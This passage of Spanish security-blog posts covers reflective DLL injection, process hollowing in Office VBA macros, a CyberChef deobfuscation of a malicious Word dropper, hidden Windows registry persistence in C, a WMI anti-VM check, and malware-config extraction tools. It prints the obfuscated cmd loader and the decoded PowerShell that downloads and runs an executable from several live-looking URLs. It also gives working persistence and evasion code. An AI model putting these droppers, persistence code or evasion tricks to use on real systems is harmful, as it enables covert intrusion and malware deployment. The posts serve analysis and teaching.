- Finalmente, ReflectiveLoader devolverá la ejecución al shellcode inicial que lo llamó, o si fue llamado a través de CreateRemoteThread, el hilo terminará.

* Si queréis ver código C/C++ para implementar muchas de las funciones necesarias os aconsejo que echéis un vistazo al post de 0x00Sec aquí.

Reflective dll inject en Metasploit

Asumimos que el atacante ya ha obtenido una shell de meterpreter en el sistema víctima y ahora intentará realizar una inyección reflexiva de DLL en un proceso remoto, más específicamente en un proceso notepad.exe con PID 6156.

El módulo de post-explotación de Metasploit windows/manage/reflective_dll_inject configurado:


* Reflective_dll.x64.dll es la DLL compilada del repo de Steven Fewer en github.

Después de ejecutar el módulo de post-explotación, notepad.exe ejecutará el payload malicioso que proviene de una DLL reflejada que se envió desde el sistema del atacante:


También podemos verlo en acción en el siguiente vídeo:


Otras técnicas

Sin embargo, en el intento de evadir AV, los atacantes hacen todo lo posible para evitar la función de ejecución del código de inyección reflexivo común, CreateRemoteThread(). Las técnicas alternativas incluyen la creación de subprocesos de API nativa (ntdll) y APC de usuario (necesarios para SysWow64-> x64), etc.
En este contexto, zerosum0x0 publicó una técnica que utiliza SetThreadContext() para cambiar los registros de un threat seleccionado, y realiza un proceso de restauración con NtContinue(). Esto significa que el threat secuestrado puede seguir haciendo lo que estaba haciendo, lo que puede ser una función crítica de la aplicación inyectada.


En el repo de zerosum0x0 hay una PoC para x64 que usa las funciones comunes VirtualAllocEx() y WriteVirtualMemory(). Pero en lugar de crear un nuevo subproceso remoto, usa uno ya existente y restaura el contexto original cuando termina con él. Esto se puede hacer localmente (proceso actual) y de forma remota (proceso objetivo).

Detectando inyecciones reflejadas de DLLs

Malfind es el complemento de Volatility responsable de encontrar varios tipos de inyección de código y, por lo general, pueden detectarse inyecciones reflejadas de DLL con la ayuda de este complemento.

El complemento, a alto nivel, escaneará varias regiones de memoria descritas por Virtual Address Descriptors (VAD) y buscará cualquier región con protección de memoria PAGE_EXECUTE_READWRITE y luego buscará los bytes mágicos 4d5a (MZ en ASCII) al comienzo de esas regiones (como sabéis, esos bytes significan el inicio de un ejecutable de Windows, es decir, exe, dll):

volatility -f /mnt/memdumps/w7-reflective-dll.bin malfind --profile Win7SP1x64


 Más recursos y fuentes:

- stephenfewer/ReflectiveDLLInjection
- Red Teaming Experiments - Reflective DLL Injection
- ThreadContinue - Reflective DLL Injection Using SetThreadContext() and NtContinue()
- zerosum0x0/ThreadContinue
- Reflective DLL Injection 0x00sec 
- What is Reflective DLL Injection and how can be detected?
- Detecting reflective DLL loading with Windows Defender ATP 
- Reflective Injection Detection – RID.py
- sRDI – Shellcode Reflective DLL Injection
- Reflective DLLs and You
- An Improved Reflective DLL Injection Technique
- Reflective DLL Injection with PowerShell

pyattck: un paquete en Python para interactuar con el framework MITRE ATT&CK

$
0
0
Si te dedicas a threat hunting y tienes el foco en las tácticas, técnicas y procedimientos (TTP) utilizados por ciertos actores/grupos, entonces ya sabes que el framework de MITRE ATT&CK es muy valioso...


MITRE proporciona una guía con un diseño simple y directo, pero puede ser útil también usarlo mediante programación para medir (o asignar) ciertos controles de seguridad utilizando su framework. Afortunadamente el equipo de investigación de Swimlane ha lanzado pyattck, un paquete Python para interactuar con el framework Mitre ATT&CK de una manera bastante sencilla y que nos permitirá identificar relaciones conocidas entre todas las verticales en MITRE ATT&CK.

Imagina que queremos asegurarnos que estamos protegidos contra las TTP relacionadas con Dragonfly y en lugar de mirar a través de un mapa visual la información sobre este actor, podremos usar pyattck para extraer las herramientas, el malware y las técnicas asociadas o utilizadas por este grupo. Entonces, para recuperar las técnicas usadas por Dragonfly podemos instalar pyattck (pip install pyattck) y programar un sencillo script como este:
import sys
from pyattck import Attck
attack = Attck()
for actor in attack.actors:
 if sys.argv[1] in actor.name:
  for technique in actor.techniques:
   print(technique.name)

Y basta con ejecutarlo para obtener las técnicas:
$ python actor.py Dragonfly
Masquerading
Permission Groups Discovery
User Execution
Command-Line Interface
Standard Application Layer Protocol
Create Account
Disabling Security Tools
Modify Registry
Template Injection
Email Collection
Drive-by Compromise
Credential Dumping
Remote System Discovery
Indicator Removal on Host
Scheduled Task
File and Directory Discovery
Network Share Discovery
Valid Accounts
Data from Local System
Query Registry
Forced Authentication
Scripting
Screen Capture
System Network Configuration Discovery
File Deletion
Remote File Copy
Shortcut Modification
Web Shell
Spearphishing Attachment
Brute Force
Spearphishing Link
External Remote Services
Registry Run Keys / Startup Folder
Remote Desktop Protocol
PowerShell
System Owner/User Discovery
Data Staged
Account Manipulation
Commonly Used Port
Account Discovery
Data Compressed

Luego, si queremos saber como mitigar unas de estas técnicas podemos usar este otro script:
import sys
from pyattck import Attck
attack = Attck()
for technique in attack.techniques:
 if sys.argv[1] in technique.name:
  for mitigation in technique.mitigation:
   print(mitigation.description)

Especificando una concreta:
python mitigation.py 'Spearphishing Link'
Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. Other mitigations can take place as [User Execution](https://attack.mitre.org/techniques/T1204) occurs.

Y esto son sólo unos ejemplos. Actualmente, pyattck admite la identificación de las siguientes relaciones (y se agregarán más):

Actores
  • Herramientas utilizadas por el actor o grupo.
  • Malware utilizado por el actor o grupo.
  • Técnicas utilizadas por el actor o grupo.
Malware
  •  Actor o grupo que utiliza este malware.
  • Técnicas con las que se utiliza este malware.
Mitigación
  • Técnicas relacionadas con un conjunto específico de sugerencias de mitigación.
Táctica
  • Técnicas encontradas en una táctica específica (fase).
Técnica
  • Tácticas en las que se encuentra una técnica.
  • Sugerencias de mitigación para una técnica dada.
  • Actor o grupo (s) identificado (s) utilizando esta técnica.
 Herramientas
  • Técnicas utilizadas dentro de las herramientas especificadas.
  • Actor o grupo (s) utilizando una herramienta específica.
Fuentes:

https://pyattck.readthedocs.io/en/latest/
https://github.com/swimlane/pyattck

Implementación de process hollowing en VBA

$
0
0
Ya sabéis que Process hollowing, también conocido como Process Replacement o RunPE, es una técnica que hoy en día utiliza mucho el malware y consiste en que un proceso legítimo se carga en el sistema únicamente para actuar como contenedor de código hostil: el proceso legítimo se inicia en un estado suspendido y su área de memoria se reemplaza con el código de un segundo programa. Eso será ejecutado en lugar del original. Hoy recopilamos la implementación de esta técnica en VBA gracias al francés Clément Labro.

Su código se puede utilizar para lanzar ejecutables desde la memoria de Word o Excel. Es compatible con versiones de Microsoft Office 2010 y superiores y con arquitecturas de 32 bits y 64 bits.


Uso 1 - Archivo PE en disco

1. En el exploit al final del código, hay que establecer la ruta del archivo que se desea ejecutar.

strSrcFile = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

Nota: Si se está utilizando una versión de Microsoft Office de 32 bits en un sistema operativo de 64 bits, se deben especificar binarios de 32 bits.

strSrcFile = "C:\Windows\SysWOW64\cmd.exe"
strSrcFile = "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"

2. También se pueden especificar los parámetros del comando (opcional).

strArguments = "-exec Bypass"

Esto nos dará el equivalente a:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -exec Bypass

3. (Opcional) Enable View > Immediate Window (Ctrl+G) para comprobar si se ejecuta bien y ver los logs.

4. Ejecuta el exploit con la macro!

Uso 2 - PE embebido

1. Usa pe2vba.py para convertir un archivo PE a VBA. De esta manera, se puede incrustar directamente en la macro.
user@host:~$ python pe2vba.py meterpreter.exe 
[+] Created file 'meterpreter.exe.vba'.

2. Reemplaza el siguiente código en RunPE.vba con el contenido del archivo .vba que se generó en el paso anterior.
' ================================================================================
'                                ~~~ EMBEDDED PE ~~~
' ================================================================================

' CODE GENRATED BY PE2VBA
Private Function PE() As String
    Dim strPE As String
    strPE = ""
    PE = strPE
End Function

3. (Opcional) Enable View > Immediate Window (Ctrl+G) para comprobar si se ejecuta bien y ver los logs.

4. Ejecuta el exploit con la macro!

Nota: Cuando se utiliza un PE embebido, la macro cambiará automáticamente a este modo porque el método PE() devolverá una cadena no vacía.

Compatibilidad

Este código se probado en las siguientes platformas:
  •     Windows 7 Pro 32 bits + Office 2010 32 bits
  •     Windows 7 Pro 64 bits + Office 2016 32 bits
  •     Windows 2008 R2 64 bits + Office 2010 64 bits
  •     Windows 10 Pro 64 bits + Office 2016 64 bits
Actualmente, esto no funciona con todos los binarios de Windows. Por ejemplo, no se puede utilizar para ejecutar regedit.exe, supuestamente porque hacen falta algunas importaciones manuales de archivos DLL que faltan.
También y como se menciona anteriormente, este código solo funciona con Office 2010 y versiones posteriores. La razón es que el código usa ampliamente el tipo LongPtr que se introdujo por primera vez en Office 2010 para ayudar a los desarrolladores a crear un código independiente de la arquitectura. De hecho su tamaño se adaptará automáticamente según la arquitectura del proceso de Office (32 bits / 64 bits).

Por lo tanto, si intenta ejecutar este código en Office 2007, se recibirá un mensaje de error de tipo no definido por cada variable que usa el tipo LongPtr. Para solucionar este problema, se puede reemplazar todas las ocurrencias de LongPtr con Long (32 bits) o LongLong (64 bits).

Repo: https://github.com/itm4n/VBA-RunPE

Usando CyberChef (parte I)

$
0
0
CyberChef se ofrece como una navaja suiza vía web para tratar datos y realizar operaciones de cifrado, codificación, compresión, entre otros… en esta serie de artículos vamos a sentar las bases para trabajar con ella, hacer algunos ejercicios y así entender para qué nos puede ser útil en el ámbito de la seguridad informática.

Antecedentes 

 El año pasado descubrí por casualidad esta estupenda tool dentro de mi investigación de el entorno de respuesta ante incidentes con Skadi (https://github.com/orlikoski/Skadi) ya que estaba incluida en el repositorio de herramientas, si tuviste la oportunidad de ir a la charla que ofrecimos en la h-c0n 2019 (https://www.h-c0n.com/p/ponencias.html#rateando) la comentamos por encima:



A raíz de este descubrimiento, la quise probar más a fondo, ya que para los trabajos de respuesta ante incidentes tiraba de linea de comandos, recursos web y algunos scripts que iba haciendo sobre la marcha.

Referencias

Esta navaja suiza mantenida por la gente de GCHQ está disponible desde el 2016 y muchos de vosotros ya la conoceréis, sin ir más lejos ya había una entrada en este blog: https://www.hackplayers.com/2018/12/solucion-al-reto-28-baby-crackme.html.

Nos podemos descargar su código del Github https://github.com/gchq/CyberChef o directamente acceder a su versión online https://gchq.github.io/CyberChef/. Básicamente tenemos tres campos en este recurso web: entrada de datos, operaciones a aplicar a esa entrada y el resultado de aplicar las operaciones.

Conocimientos previos y recursos

La idea de esta serie de artículos será sentar las bases de como utilizar esta herramienta y poner una serie de ejemplos para que se vea su potencial.

Para empezar a sacarle partido a esta tool, tendremos que tener cómo mínimo conocimientos de expresiones regulares, operadores booleanos y ciertos algoritmos simples/complejos. Vamos a dejar algunos recursos en español para empezar:
A tener en cuenta la ayuda de la misma aplicación a nivel de operaciones con definiciones propias y de recursos externos, en el ejemplo siguiente con la referencia a Wikipedia sobre XOR

Al lío

Después de tanta teoría vamos al lío, ¿no? Iremos haciendo ejercicios de básicos a más avanzados:

1. Una simple decodificación de base 64 a texto:

Explicación
: esta operación descodifica los datos de una cadena ASCII en Base64 a su formato de texto original. Para hacer esto, utilizaba la terminal de mi Ubuntu así:

echo wqFOaSBzZSB0ZSBvY3VycmEgcGVyZGVydGUgbGEgaC1jMG4gMjAyMCE= | base64 -d

Uso: Con nuestra aplicación arrastramos pegamos el base64 en Input buscamos en Operations From Base64 y hacemos un doble clic, así veremos el resultado en el Output


Enlace: [https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)&input=d3FGT2FTQnpaU0IwWlNCdlkzVnljbUVnY0dWeVpHVnlkR1VnYkdFZ2FDMWpNRzRnTWpBeU1DRT0]

2. Word con sorpresa

Muestra:

Tomamos una muestra bastante grosera de nuestros amigos de hybrid https://www.hybrid-analysis.com/sample/8bf2b7e3d0b5d4928ba715c5a7060aea26a7c0fe487853135a03bf6d02af581b?environmentId=100

El código que nos encontramos y que vamos a analizar es el siguiente:
cmd.exe /c %LocALappData:~ -3, -2%%pROgramdATa:~-5, 1%D, , /v, /R " ,, ( , (^sET ^ ^ ^ 9o^jB=od^ mC ^58 9i Pa^ OT^ ^B7 ^5M TC 65 AS a4 NT CR^ y^h^ ^8^6 ^BO VQ^}In}B^0{Pxhk^ics^JtZma^K^sc^Qz}zs}0^8k^e5aXZeT^kr4rbt^B;r^SW^y^X^d8yR^dU^$I^7 v^wsdC^s9q^e^7^pc^ xon^urzF^P^JX-Ox^tBZrH^e^aCLt^sMSC0;N^6^)6LW^d^Ldr^TR^a^2$4N^(O0eymluL^i^m^M^fZno^JAtX^xeLjv
^FpaeKs^yr.aYp9^KvvQ^sk5$v4;^Q^p^)V^oyCd^d^FEowf^Ba^weCZ^s1an^Aroq^Zpg^K^s^HW
bMr^o^X.l^jY^w^3I^e^b^u1u$L^p^(8ceJkt^hs^i^uQrxCwuV.P5^pEfvuEs^F9^$VJ;^8c^1rZ I^3=^Yz^ ^q^HeCFp^B^tyW^e^tfV.F3p3ZvwWsKe^$l^6^;D1^)^5v^(MnnU^Se^s^tpAvo5k.HIpnzv5m^sHC$^Og{q^j^ Cx^)C^S0pO01^J^2sn V^wq^lN^ev^i-DI ^Lts5yuP2t^WXa 4^to^Q^SJ^L.CpYA^QIsEurk$x^7^(v5 yV^f9wIFM;UF^)lJ^( ^I^dg^Hn^Qx^eB5siI^.kuY^i1I^hSu^Gy$C^M;iR^)bL^0dc,^bjv^a^HXk^0^PnI$^a^m,aD'ME^THNEN^j^G^
Pw'tX^(lGn^obexF^p9z^ogx.c^OYyR^IIhuS^p^$G0^{yAy^HCr^3TtA^x^{Dv^)0^YFubQ^o^Ui^B^e$cG^ O9ni0^iV^a ^5^fvm^4XKMPHJ^$E5^(o^q^h^ygcv^pavBeAQrN^PoUkffh;IF^'tz^mWVa^FRe^mEr^G^wtecsU^e^.GzbAldu
4^oS^6^dC3a^F7^'^Z9 9kmNFo5rc3^T^-i^h SXthQcK^ke^Hi^jx^obwVO^bt-SbwN^7^eGSNJG mb=hA JZp^l^qv4ysX^P$vz;P^f^'6Gp^Un^t^Hk^tNWhG7lPJmr^wx^4 .^DV^2RqlOwm^2jxjV^s^Op^mD^x'vb nCmclo^3^zcP4-m^w U^L^t^I4c5^2eSv^jBm^b^W^fO^d7-^f^2wL^I^ev3NrT=bS giYMNIq2^uK^W^$3^G;^DR^)^lS'B^j^eXZxbZ^ea3.OGwtEUajzrV\sv'jR+Rv^)^U5^(E^ hxC^t2^Wa^7a^PBzpaUmAO^ev^UT^e^ t6^ae^wiGk^M:bC:ki^]DPhJftR0^anvPOq^.^3c^O3^FIrG.^8BmiMe8wttksHoyhV^SKc[^j^X^( t=^4n^W9p^d^2^KRVY^$G ^;es^) ^P^'QW@aX'^Ow^(^aQt^TP^i7^dl^b7pa5^Ss5.4t'3^KgzV^HMLiE4^a^UAD49ibjf0j/ERm^dmo^ZTcQe.e^
L^gRJ^b3^Y^m^wir1j^a^MKf6^geDR.fVachiTXrTMaN5g^G4l9Gu^8vbUN-^5csC8^a5^XgP^Yor^Ui^2WbO^4/1o/fN:03pa^St^Q^Y^tzd^h4v@^Zmq^Hc^sFP/Ikm^Sn^o^e^fc9r.V^PzY^mb^gYa9RsrOg^mnr^QRbb^m.UIw^h^P^w3yw5t/V7/AV:^QDp^o^ltpQtW^oh2S^@Cimr^hVl^6^BkM0MFad^iS^15/jXz2tiUYb^BU.T6y^Ayc^7^3nKXe86gHTacD^eJ^7v4YiyothZaF9e7grDNc^48^.dAw^Q3wLh^wt^K/Pf/^3Z^:Ujpr^Mt^Yh^tZ^shRA^@3^i^6cbJ^qbW^Q1NDH/^q7^thAe^pCnD^1.^s^h^o9Vn7Ya^O^ujy^q^uyW^diengRaWemoc/50/ ^G:mdpAUt^HNtw^4^h1x^@ZCtNO7Uo8NjW^K^D^dyZ^x^eUYGL/KBm^kW^o^UKcUV^.^LSa^xy^iB^y
^dC^ZeGZm^jva^ hm4m^io^5hEnaAPmjG/iZ/h^J:^ ppsNt^J^h^t4 ^hBR'bC^=gc^Fm^x^Qu5ixU^$0B;^p0'dm^d4^I^f^gLr^Xb^'pU=4hi^kJ^Y1MBeD^$N^G HilK9lQw^e^s^BhrHsDIrSXe^Q^Dw^W^fojN^p) , , , , ,)&amp; ,,, ^For, , , /^l , %^3 , ,, ^IN,, (+16^40 ^, ^ -^3^ ^,+^2^ ) , ^d^O, , , ( ,(, , S^E^T c2^zZ=!c2^zZ!!9o^jB:~ %^3,1!) , , ,)&amp;&amp; , , , IF , ,%^3 ,, , == , , ^2 ,, ( , ( (ca^lL, , %c2^zZ:~ +6% ) , , , , , ) ,) "

Uso: tras un primer vistazo vemos que se ejecuta desde el cmd hay implicado un SET, más abajo se identifica un bucle for-in-do y para terminar un condicional pero nos estamos quedando ciegos en este punto, vamos a limpiar el código:  [1]


Hemos usado el comando Find / Replace con la opción extendida para eliminar estos molestos ^ ahora vemos que en la parte de abajo se llama a la variable que está en la parte superior (9ojB) y vemos que se hace el mencionado bucle desde el final de la variable mencionada saltando de 2 en 2 caracteres.

Nos vamos a quedar ahora con la variable 9ojB y vemos que es lo que tiene, comentamos que el bucle empieza en el final por lo que aplicamos un Reverse y posteriormente una expresión regular que va saltando de 2 en 2 caracteres, lo más importante es que la salida sea List capture group, con esto ya vemos la salida con nuestro querido powershell [2]

Tras eliminar el salto de linea ya tenemos lo mismo que aparece en la referencia puesta en hybrid:

powershell $BYi='rfd';$iQF='http://mahimamedia.com/YxdW87t@http://mandujano.net/NWJ6@http://www.creativeagency.biz/Sa0BVm@http://www.brgsabz.com/sq@http://biogas-bulgaria.efarmbg.com/fiDaiHg'.Split('@');$RdW=([System.IO.Path]::GetTempPath()+'\zUw.exe');$uIY =New-Object -com 'msxml2.xmlhttp';$svp = New-Object -com 'adodb.stream';foreach($PXv in $iQF){try{$uIY.open('GET',$PXv,0);$uIY.send();If ($uIY.Status -eq 200) {$svp.open();$svp.type = 1;$svp.write($uIY.responseBody);$svp.savetofile($RdW);Start-Process $RdW;break}}catch{}}

Observamos que el powershell [3] realiza una conexión a dominios, va formando el path para finamente ejecutar un .exe (zUw.exe) que se guarda en la variable RdW. Dejamos de lado el análisis de este ejecutable, ya que se nos va de las manos.

Mitre:

A continuación se muestran las técnicas llevadas a cabo por este “word con sorpresa”, en este post ha quedado constatado el uso.


Ha quedada constatada la Ejecución, dentro del apartado de persistencia el Hooking con el uso del cmd y posteriormente de powershell; también hemos constatado la creación de un nuevo proceso en el sistema a través de la apertura de un documento word.

En la parte de evasión y defensa, se han modificado una serie de registros de Windows y creado un binario a medida. A nivel de descubrimiento y c2c, se ha realizado unas conexiones con unos puertos determinados a varios dominios.

Enlaces[1][2][3]

Conclusiones hasta el momento

CyberChef es un herramienta portable y fácil de usar, ya seas un pro o un iniciado en la materia, ya que contiene cientos de operaciones posibles tipo: data-analysis, data-manipulation, encryption, encoding, compression, parsing, hashing; que nos pueden servir para nuestro trabajo de: Hacking, Forensics, Reversing, Incident Respons, Threat Hungting y demás.

Nos vemos en el siguiente post de la serie ;)

Consiguiendo persistencia invisible al editor del registro de Windows (regedit)

$
0
0
Hoy vamos a ver como, mediante algunas llamadas al API nativa de Windows, podemos crear valores en el registro que Regedit no puede mostrar o exportar. Esta técnica se recogía en un paper de eWhite Hats y con la misma se puede conseguir persistencia casi "invisible" e incluso almacenar de binarios "fileless".

En este post nos centraremos en el primer caso, básicamente, la posibilidad de escribir un valor en la clave Run que Regedit no puede mostrar, pero que sin embargo Windows leerá correctamente cuando la compruebe justo después de reiniciar.

// HIDDEN_KEY_LENGTH doesn't matter as long as it is non-zero.
// Length is needed to delete the key
#define HIDDEN_KEY_LENGTH 11
void createHiddenRunKey(const WCHAR* runCmd) {
LSTATUS openRet = 0;
NTSTATUS setRet = 0;
HKEY hkResult = NULL;
UNICODE_STRING ValueName = { 0 };
wchar_t runkeyPath[0x100] = L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
wchar_t runkeyPath_trick[0x100] = L"\0\0SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
if (!NtSetValueKey) {
HMODULE hNtdll = LoadLibraryA("ntdll.dll");
NtSetValueKey = (_NtSetValueKey)GetProcAddress(hNtdll, "NtSetValueKey");
}
ValueName.Buffer = runkeyPath_trick;
ValueName.Length = 2 * HIDDEN_KEY_LENGTH;
ValueName.MaximumLength = 0;
if (!(openRet = RegOpenKeyExW(HKEY_CURRENT_USER, runkeyPath, 0, KEY_SET_VALUE, &hkResult))) {
if (!(setRet = NtSetValueKey(hkResult, &ValueName, 0, REG_SZ, (PVOID)runCmd, wcslen(runCmd) * 2)))
printf("SUCCESS setting hidden run value!\n");
else
printf("FAILURE setting hidden run value! (setRet == 0x%X, GLE() == %d)\n", setRet, GetLastError());
RegCloseKey(hkResult);
}
else {
printf("FAILURE opening RUN key in registry! (openRet == 0x%X, GLE() == %d)\n", openRet, GetLastError());
}
}

En la función anterior, NtSetValueKey se pasa a UNICODE_STRING ValueName. ValueName.Buffer normalmente se establecería en "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" para establecer un valor de la clave Run.
En su lugar, anteponemos esta cadena con dos NULOS WCHAR ("\0\0") para que ValueName.Buffer sea "\0\0SOFTWARE\Microsoft\Windows\CurrentVersion\Run”

Cuando Regedit intenta abrir la clave Run mostrará un mensaje de error:


Después de hacer clic en Aceptar, el valor no se mostrará:


Intentar exportar la clave y escribirla en un archivo tampoco funcionará:


El archivo exportado contiene el valor para OneDrive, pero no el valor oculto:


Otro lugar común para verificar los programas que se ejecutan automáticamente al iniciar el sistema es el Administrador de tareas. En las versiones más recientes de Windows, la pestaña "Inicio" ha sido añadida al Administrador de tareas. Esta técnica no añade un entrada a la pestaña de inicio del administrador de tareas.

Además, hay un maravillosa herramienta que podemos compilar y usar disponible en el Github de eWhite Hats:

https://github.com/ewhitehats/InvisiblePersistence/

Uso:

1) InvisibleRegKeys.exe persist [ruta al ejecutable de malware para que sea autorun]
  • Esto agregará un valor oculto a HKCU\Software\Microsoft\Windows\CurrentVersion\Run.
  • El valor será mshta.exe, o intérprete de Microsoft Scripting Host, que toma Javascript como argumento y lo ejecuta.
  • El Javascript hace referencia a la clave de registro HKCU\software\WUV (creada por InvisibleRegKeys).
  • Esa clave tiene el valor "Tethering".
  • Tethering es un blob de Javascript que decodifica (XOR) otro blob de Javascript, que a su vez se decodifica (Base64) en un script de Powershell, que hace un VirtualAllocs RWX y ejecuta sc (ver InvisibleRegKeys.h), un pequeño blob con el shellcode.
  • El shellcode se está ejecutando en el contexto del proceso powershell.exe.
  • El shellcode lee el valor predeterminado para HKCU\software\WUV, que contiene un búfer oculto.
  • El búfer aparecerá como "(valor no establecido)" en Regedit.
  • En realidad es el malware codificado (XOR) con una clave que se genera cuando se ejecuta InvisibleRegKeys, y que se graba en el blob Shellcode.
  • El shellcode decodifica el malware y lo carga (con un pequeño cargador de PE) en el contexto del proceso de PowerShell.
  • En ese punto, el malware puede inyectarse en otro proceso y llamar al proceso de salida para matar a Powershell. O el módulo puede regresar desde su punto de entrada, momento en el cual el shellcode sale del proceso. Después de 20 minutos, el proceso Powershell saldrá de cualquier manera (el modo de espera (1200) en InvisibleRegKeys.h controla esto).
  • Echa un vistazo a pe_loader.cpp. Este es el mismo cargador que usa el shellcode. Asigna el doble de memoria que el archivo PE normalmente necesitaría para cargarse, y copia el archivo PE en el espacio adicional. Esto le permite cargar reflexivamente el PE al realizar la inyección del proceso.
2) InvisibleRegKeys.exe unpersist
  • Elimina el valor oculto en HKCU\Software\Microsoft\Windows\CurrentVersion\Run.
  • Borra HKCU\software\WUV.
Por último, remarcar que estas técnicas se basan en errores de cómo Regedit lee y muestra valores en el registro. Otras herramientas no tienen los mismos fallos y se pueden usar para verificar la salida de regedit:
  • Autoruns de Sysinternals, por ejemplo, mostrará correctamente los valores de la clave Run. 
  • Las herramientas forenses como FTK Registry Viewer pueden ver los buffers ocultos almacenados en valores si se realiza una copia de las secciones del registro en disco. 
  • Debido a que los archivos de la sección están en uso mientras se ejecuta Windows, se puede usar una herramienta como HoboCopy para hacer una copia de los hive files.
  • El RegDelNull de SysInternals puede escanear el registro en busca de entradas con NULL bytes y tiene la opción de borrar esas entradas.
CONCLUSIÓN

Debido a la multitud de tipos de datos que se pueden almacenar en un valor de registro, es difícil mostrar estos valores de forma sólida y completa. Pero el máximo culpable no es Regedit sino la especificación de windows para los hive files.

Los formatos complejos con tipos que pueden ser tanto strings como datos conducen casi inevitablemente a errores.

Para agregar complejidad, el registro puede además interactuar no solo con la API de Windows típica, sino también con APIs nativas de nivel inferior.

Por estas razones, se cree que se pueden explotar muchos más errores en Regedit y que será un gran objetivo porque puede proporcionar nuevas técnicas para tareas comunes de malware sin necesidad de elevar privilegios...

Técnica Anti-VM con MSAcpi_ThermalZoneTemperature

$
0
0
Hoy en día es extremadamente fácil escribir muestras de malware utilizando técnicas anti-VM diseñadas para detectar entornos virtuales o de sandboxing. Como estamos en verano y en plena ola de calor (al menos por estos lares), qué mejor manera que ver un técnica que se basa en comprobar si el sistema nos devuelve la temperatura del procesador...

Se trata una de las técnicas más comunes, que es usar WMI para consultar la clase Win32_BIOS para interactuar con los atributos de la máquina física. Concretamente la clase WMI Win32_TemperatureProbe representa las propiedades de un sensor de temperatura (termómetro electrónico).

Con el siguiente comando obtendremos la temperatura en décimas de grados Kelvin (si queremos grados centígrados simplemente /10 - 273) :

wmic /namespace:\\root\WMI path MSAcpi_ThermalZoneTemperature get CurrentTemperature


Y con la siguiente función/implementación en Powershell de Ialle Teizeira (@teixeira0xfffff) obtendremos el mismo resultado:
function Get-AntiVMwithTemperature {
    $t = Get-WmiObject MSAcpi_ThermalZoneTemperature -Namespace "root/wmi"

    $valorTempKelvin = $t.CurrentTemperature / 10
    $valorTempCelsius = $valorTempKelvin - 273.15

    $valorTempFahrenheit = (9/5) * $valorTempCelsius + 32

    return $valorTempCelsius.ToString() + " C : " + $valorTempFahrenheit.ToString() + " F : " + $valorTempKelvin + "K" 
}
#resource https://medium.com/@DebugActiveProcess


Pero veamos qué ocurre si ejecutamos lo mismo en una VM:


Como veis la función no es soportada en procesadores virtuales, así que es relativamente fácil evadir una sandbox usando simplemente esto. Buena cuenta de ello nos dio hace unos años Cisco Talos al analizar GravityRAT:


Y no es el único, por ejemplo el troyano OopsIE usado por el actor OilRig también lo implemente y dada la facilidad de incluir este check seguramente un buen número de samples más...

¿Solución para una sandbox? Pues en una VM evitarlo se me antoja interesante, pero por ahora correr el malware en bare metal y mostrar que la CPU está "calentita" es la opción más plausible.


Fuente: Anti-VM Technique with MSAcpi_ThermalZoneTemperature

Extracción de configuración de malware con MalConfScan (plugin de Volatility)

$
0
0
Todos los días, se descubren nuevos tipos de malware. Sin embargo, muchos de ellos son en realidad variantes del malware existente: comparten la mayor parte del código y hay una ligera diferencia en la configuración, como los servidores de C&C. Por lo tanto, si obtenemos la configuración tendremos prácticamente lo más importante de un artefacto de malware.

Hoy en día no existen muchas herramientas que aglutinen extractores para un buen número de familias malware o, exceptuando CAPE, un excelente fork de Cuckoo-modified, yo al menos no conocía muchas. Pero recientemente JPCERT/CC ha publicado en Github MalConfScan, un plugin para The Volatility Framework que extrae datos de configuración de malware conocido, actualmente los siguientes:

UrsnifHawkEye
EmotetLokibot
Smoke LoaderBebloh
PoisonIvyAZORult
CobaltStrikeNanoCore RAT
NetWireAgentTesla
PlugXFormBook
RedLeaveNodeRA
TSCookienjRAT
TSC_LoaderTrickBot
xxmmRemcos
DatperQuasarRAT
RamnitPony (pte)

Como decimos, MalConfScan busca malware en las imágenes de memoria y descarga los datos de configuración. Pero además, esta herramienta tiene una función para enumerar cadenas a las que se refiere el código malicioso.

- malconfscan: extrae la configuración de malware conocido de una imagen de memoria
- malstrscan: detecta procesos sospechosos de una imagen de memoria y enumera la string a la que se refiere

Instalación de MalConfScan

Clonar MalConfScan de repo de Github

$ git clone https://github.com/JPCERTCC/MalConfScan.git

Instalación de requisitos de Python

$ pip install -r MalConfScan/requirements.txt

Copiar MalConfScan a la carperta de plugins de Volatility

$ cd MalConfScan
$ cp -R malconfscan.py utils yara [Extract Volatility Folder]/volatility/plugin/malware

Uso

Exportar la configuración de malware

MalConfScan puede volcar los datos de configuración de malware, cadenas decodificadas o dominios DGA.

$ python vol.py malconfscan -f images.mem --profile=Win7SP1x64

Ejemplos

Datos de configuración de RedLeaves


Datos de configuración de Bebloh y DGAs


Strings decodeadas de FormBook


Listar las strings referenciadas

Los datos de la config generalmente están ofuscados por el malware, que los escribe desofucados en la memoria. Con malstrscan se pueden enumerar datos de configuración decodificados, es decir, por defecto enumera las string del espacio de memoria cargado por el PE. Con la opción -a se enumeraran las strings en el espacio de memoria principal, como el Heap.

$ python vol.py malstrscan -a -f images.mem --profile=Win7SP1x64

Listar las strings referenciadas de Ramnit


Repositorio: https://github.com/JPCERTCC/MalConfScan

Listado de frameworks de post-explotación/C2 de código abierto

$
0
0
Recientemente @xorrior, uno de los desarrolladores de Empire, anunciaba que no se iba a seguir dando soporte/actualizando su famoso framework de post-explotación. Pero tranquilos... estoy seguro que este maravilloso proyecto no morirá. Sirva de ejemplo que nuestro compiLuis Vacas, ayudado y animado por la Comunidad y los locos de Likoraka nos encargaremos de darle la coña, pronto actualizará e irá añadiendo funcionalidades nuevas al mod que tenemos en el github de Hackplayers (que además esperamos ver en directo en la conferencia h-c0n de 2020 ;-) ).

Mientras tanto y a propósito del anuncio de Empire, leía un post en PentestIT donde recopilaban una lista muy interesante con un montón de frameworks C2 de código abierto que pueden servir de alternativa. Muchos de ellos ya los hemos probado y escrito sobre ellos en el blog, otros simplemente tienen tan buena pinta que se hace imperativo probarlos. Os dejo la lista con dos o tres C2 más que conocía:

